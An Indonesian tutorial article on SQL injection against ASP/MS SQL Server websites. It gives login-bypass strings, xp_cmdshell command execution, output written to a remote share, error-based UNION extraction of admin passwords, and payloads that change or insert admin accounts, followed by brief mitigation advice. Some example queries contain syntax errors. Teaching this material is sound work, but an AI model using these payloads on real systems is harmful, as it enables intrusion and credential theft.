METODE PENYERANGAN WEB SITE MENGGUNAKAN SQL INJECTION

Andi Sunyoto

Abstraksi

Ketika mesin server hanya port 80 yang dibuka, kita mempunyai keyakinan bahwa tidak akan menghasilkan sesuatu yang bermanfaat yang dapat digunakan untuk menyerang, admin juga beranggapan hanya degan mem-patch servernya dianggap aman. Jika anggapan itu terus dipakai berarti kita "menekan tombol" untuk membuka hacker masuk.

SQL Injection adalah salah satu tipe meng-hack yang hanya membutuhkan port 80 dan tidak memerlukan port lain. SQL injection akan menyerang aplikasi web yang berbasiskan side-server scripting seperti ASP, JSP, PHP, CGI, dan yang mirip dengan itu. Pada artikel ini kita tidak akan membahas hal yang paling baru tentang SQL Injection, karena motode dan trik SQL Injection terus berkembang.

Sebelum anda membaca lebih lanjut, anda harus mnegetahui terlebih dahulu bagaimana database bekerja dan bagaimana SQL digunakan untuk mengaksesnya.

Kata Kunci: Web Site, SQL, SQL Injection

Apakah SQL Injection ?

SQL Injection adalah sebuah teknik untuk mengeksporasi aplikasi web dengan memanfaatkan suplai data dari client dalam sintak SQL. Banyak halaman web memakai parameter dari web user untuk menggunakan query ke dalam database. Kita ambil sebagai contoh ketika user akan login, halaman user akan mengirim user dan login sebagai parameter untuk digunakan sebagai SQL dan mencek apakah user dan password cocok. Dengan SQL Injection ini sangat mungkin untuk kita mengirim user nama dan password dan dianggap benar.

Walaupun mudah untuk menandai dan melindungi model serangan ini, tapi cukup mengherankan banyak aplikasi web yang terserang dengan metode ini. Pada pembahasan selanjutnya dicontohkan ketika memakai web server IIS dan Microsoft SQL Server untuk databasenya, sedangkan skrip yang dipakai adalah ASP.

Apa yang diperlukan

Untuk keperluan SQL Injection kita hanya membutuhkan browser. Browser yang dipakai adalah segala macam browser.

Apa yang perlu di cari ?

Kita dapat memanfaatkan halaman-halaman web yang terdapat *submit data*, contoh: halaman login, pencarian, feedback, dan lain-lain. Kadang halaman HTML menggunakan metode POST untuk mengirim parameter ke halaman web yang lain. Jika model halamnnya seperti ini maka kita harus melihat source code karena kita tidak dapat melihat pada URL. Mudah untuk mencek source code halaman HTML, tinggal klik kanan pilih view source (pada Internet Exlorer), kemudian cari kode "FORM". Berikut contoh halaman tersebut:

```
<FORM action=search.asp method=post>
<input type=hidden name=login value=andi>
</FORM>
```

Semua yang terletak diantara <FORM> dan </FORM> mempunyai potensial untuk digunakan mengekplorasi halaman web tersebut. Karena itu dapat menjadi sebuah parameter. Halaman diatas berarti akan mengrimkan parameter bernama "login" dengan nilai (value)="andi".

Bagaimana jika tidak bukan halaman input ?

Jika halaman bukan berbentuk form input, maka anda harus cari halaman yang di buat dengan bahasa pemrograman internet seperti ASP, JSP, CGI or PHP, kemudian cari spesial URL seperti http://www.myandisun.com/profile.asp?id=10. Ini berarti halaman web ASP dengan parameter "id" yang bernilai "10".

Bagaimana cara mengetes suatu halaman web mudah diserang?

Dimulai dari pengunaan single quote. Seperti masukan:
hi or 1=1--
Dalam login, password, atau URL lain.

Contoh:
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://www.myandisun.com/profil.asp?id=10id=hi' or 1=1--

Jika halaman dalam bentuk ada field yang bertipe hidden, anda tinggal download kode HTML dari situs yang anda buka ke hard disk anda, di modifikasi sedikit

kemudian di simpan dalam hard disk dan modifikasi URL, seperi contoh berikut:
Skrip awal:

```
<FORM action=search.asp method=post>
<input type=hidden name=cari value=t610 >
</FORM>
```

Setelah di modifikasi:

```
<FORM action=http://www.myandisun.com/search.asp method=post>
<input type=hidden name=cari value=t610>
</FORM>
```

Jika anda beruntung maka dengan cara seperti itu anda dapat masuk ke halaman web tanpa harus mengisikan login name dan password yang benar.

Kenapa Harus ‘ or 1=1--

Kita akan ekplorasi pentingnya 1=1 -- dan apakah memperoleh informasi yang tidak normal (diberikan kepada user biasa) dari sebuah web site. Kita ambil halaman asp yang di link ke halaman lain seperti URL berikut:
http://www.myandisun.com/barang.asp?category=food

Dalam URL diatas, “category” adalah nama variabel sedangkan “food” adalah nilai yang diberikan pada variabel tersebut. Untuk dapat mengambil nilai dari variabel diatas berikut code program pada file barang.asp.

```
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
```

seperti kita lihat pada contoh diatas variabel kita bungkus dan diberi nama “v_cat”
dan SQL menjadi:
SELECT * FROM product WHERE PCategory='food'

Pada query diatas menghasilkan ini satu atau beberapa baris yang cocok untuk kondisi dimana (WHERE) kondisinya adalah ‘food’.
Sekarang kita asumsikan URL diatas kita ganti menjadi seperti ini:

http://www.myandisun.com/barang.asp?category=food' or 1=1--

Sekarang variabel “v_cat” kita menjadi “foot’ or 1=1—“, jika masukkan ke query maka:
SELECT * FROM product WHERE PCategory='food' or 1=1--'

Query diatas berarti menampilkan semua dari tabel product dengan “Pcategory” sama dengan ‘food’ atau tidak. Sedangkan double dash “--“ menyatakan pada SQL server untuk mengabaikan kesalahan query, yang akan membersihkan single quote yang terakhir. Kadang kita dapat menggenti double quote dengan has tunggal “#”.
Jika cara diatas tidak dapat mennyebabkan SQL server mengabaikan kesalahan query anda dapat mencoba.
' or 'a'='a
Sehingga query akan menjadi:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'

Itu seharusnya akan menghasilkan hasil yang sama.
Tergantung pada peraturan Query, dapat dicoba dengan beberapa alternatif yang mungkin:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

4.0 Bagaimana mengeksekusi jarak jauh dengan SQL Injection?

Melakukan perintah injeksi SQL berarti kita dapat mengeksekusi perintah SQL. Secara default Microsoft SQL Server running sebagai SYSTEM, yang berarti sama dengan Administrator mengakses Windows. Kita dapat menggunakan store procedure seperti master..xp_cmdshell untuk melakukan remote exucution:

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

Dapat dicoba menggunakan double quote (") jika single quote (') tidak berjalan.

Semi colon digunakan untuk mengakhiri query, jadi setelah semicolon kita membolehkan untuk memulai perintah SQL baru. Untuk menguji perintah diatas di eksekusi dengan sukses, anda dapat memperoleh informasi dari paket ICMP dari 10.10.1.2, yang akan mencek setiap paket dari server.

#tcpdump icmp

Jika tidak mendapatkan perintah request ping dari server, dan pesan error yang mengidikasikan kesalahan permission, ini juga berarti administrator membatasi akses Web User untuk menakses store procedure tersebut.

Bagaimana memperoleh output dari SQL Query kita ?

Kita bisa menggunakan sp_makewebtask untuk menuliskan wuery dalam HTML.
'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

Dengan syarat target IP harus berupa folder “share” yang di sharing untuk semuanya user.

Bagaimana memperoleh data dari pesan kesalahan database ?

Kita dapat menggunakan informasi pesan kesalahan yang di keluarkan oleh MS SQL Server untuk mendapatkan sebagian data yang kita perlukan.
http://www.myandisun.com/barang.asp?id=10

Kita akan mencoba UNION integer ‘10’ dengan string dari database:
http://www.myandisun.com/barang.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Tabel system INFORMATION_SCHEMA.TABLES berisi informasi semua tabel di dalam server. Pada TABLE_NAME fieldnya berisi dengan jelas nama masing-masing tabel dalam database. Itu kita pilih karena pasti ada dalam sebuah database dalam SQL Server, query nya adalah:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

Query diatas akan mengembalikan tabel pertama dalam database. Ketika kita UNION nilai string dengan integer 10, MS-SQL Server mencoba menkonversi string (nvarchar) menjadi integer. Ini akan menghasilkan error, ketika kita tidak bisa mengkonversi dari string (nvarchar) to int, server akan menampilkan pesan kesalahan.
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/barang.asp, line 5

Error ini bagus buat kita dan cukup untuk mengatakan pada kita ada nilai yang tidak dapat di konversi menjadi integer. Dalam kasus ini, kita memperoleh tabel pertama di dalam database, yang namanya “tabel1”.

Untuk dapat menampilkan nama tabel yang lain, kita dapat mengikuti query berikut:
http://www.myandisun.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

Kita juga dapat mencari data mengunakan keyword LIKE.
http://www.myandisun.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Hasil:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5

Jika kita lihat syntax ini sama antara '%25login%25' dan %login% dalam SQL Server. Dalam kasus ini, kita akan mendapatkan nama tabel pertama yang cocok untuk criteria “admin_login”.

Bagaimana mendapatkan semua nama kolom dalam tabel ?

Kita dapat menggunakan kegunaan lain dari tabel INFORMATION_SCHEMA.COLUMNS untuk memetakan nama kolom dalam sebuah tabel dalam database.
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Hasil:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5

Jika sekarang yang kita punya adalah colum nama pertama, kita dapat menggunakan NOT IN () untuk mendapatkan nama kolom berikutnya.

http://www.myandisun.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Hasil:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5

Ketika kita meneruskan lebih lanjut, kita memperoleh sisa (rest) nama kolom yang lain, seperti contoh: “password”, “detail”. Kita tahu ini ketika kita memperoleh pesan kesalahan.
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Hasil:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5

Bagaimana mendapatkan kembali data yang kita perlukan ?

Sekarang kita sudah menidentifikasi beberapa tabel yang penting, dan nama kolomnya, kita dapat menggunakan teknik yang sama untuk informasi lebih lanjut yang kita inginkan dari database.

Sekarang, kita lihat login_name yang pertama dari tabel “admin_login”:
http://www.myandisun.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Hasil:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5

Kita tahu ada admin user dengan login name “neo”. Akhirnya mendapatkan password dari “neo” dari database.
http://www.myandisun.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

Hasil:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5

Sekarang kita dapat login sebagai “neo” dengan menggunakan password “m4trix”.

Bagaimana mendapatkan niilai numeric string ?

Ada batasan teknik untuk menerangkan hal diatas. Kita tidak dapat mendapatkan pesan error jika kita mencoba menkonversi text yang terdiri dari valid number (carakter antara 0-9 saja). Kita coba mendapatkan password dari “trinity” yang “31173”.
http://www.myandisun.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

Kita mungkin akan mendapatkan sebuah halaman “Page Not Found” error. Ini karena password “31173” akan di konversi menjadi number, sebelum UNION dengan integer (10 dalam kasus ini). Selama statement UNION valid, SQL Sqerver tidak akan melemparkan pesan kesalahan, dan kita tidak akan mendapatkan kembalian data beberapa masukan numeric.

Untuk dapat memecahkan masalah ini, kita dapat menginputkan numeric string dengan beberapa alphabet yang dipastikan gagal untuk di konversi. Kita coba query berikut:
http://www.myandisun.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

Kita dengan mudah menggunakan tanda (+) untuk memasukkan password dengan suatu tek yang kita inginkan. Kode ASSCII untuk ‘+’ =0x2b. kita menambahkan ‘(space)morpheus’ dalam passeord yang sebenarnya. Oleh karena itu, selama kita mempunyai numeric string ‘31173’, ini akan menjadi ’31173’ morpheus’. Dengan memanggil function convert(), mencoba menkonversi ‘31173 mopheus’ menjadi sebuah integer, SQL Server akan mengeluarkan pesan kesalahan:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5

Sekarang, anda dapat login sebagai 'trinity' dengan password '31173'.

Bagaimana megupdate dan memasukkan data ke dalam database?

Ketka kita sukses mengetahui nama kolom dalam tabel, kita memungkinkan untuk kita meng UPDATE atau melakukan INSERT record baru dalam tabel. Sebagai contoh menganti password “neo”:

http://www.myandisun.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

Untuk INSERT record baru ke dalam database:
http://www.myandisun.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

Kita dapat login sebagai “neo2” dengan password “newpas5”

Bagimana menghindari SQL Injection?

Langkah yang dapat di tempuh untuk mengurangi penyusupan ke halaman web dengan SQL Injection dengan cara:

a. Memfilter dengan tidak membolehkan karakter seperti single quote, double quote, slash, back slash, semi colon, extended character like NULL, carry return, new line, etc, dalam string form:
   - Masukan dari from users
   - Parameters di URL
   - Nilai dari cookie
b. Untuk nilai numeric, convert dulu sebelum melewati statement SQL dengan mengunakan ISNUMERIC untuk meyakinkan itu adalah integer.
c. Mengubah "Startup and run SQL Server" menggunakan low privilege user dalam SQL Server Security tab.
d. Ubah stored procedure – store procedure yang tidak terpakai, seperti: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

Kesimpulan

SQL Injection dapat bekerja hanya dengan menggunakan Port 80. Fasilitas Web Server yang digunakan untuk menampilkan pesan kesalahan dan stored procedure default Microsoft SQL Server dapat di gunakan untuk mengekplorasi halaman web dengan SQL Injection.

Untuk meminimalkan penyusupan ke server Web dan Server Database kita dapat menghapus atau menonaktifkan service dan stored procedure yang tidak diperlukan. Yang paling penting untuk menutup halaman web kita dengan dari serangan dengan motode SQL Injection adalah Validasi input sebelum dikirim ke web server.

Daftar Referensi

http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6
http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc
http://www.owasp.org/asac/input_validation/sql.shtml
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6
http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf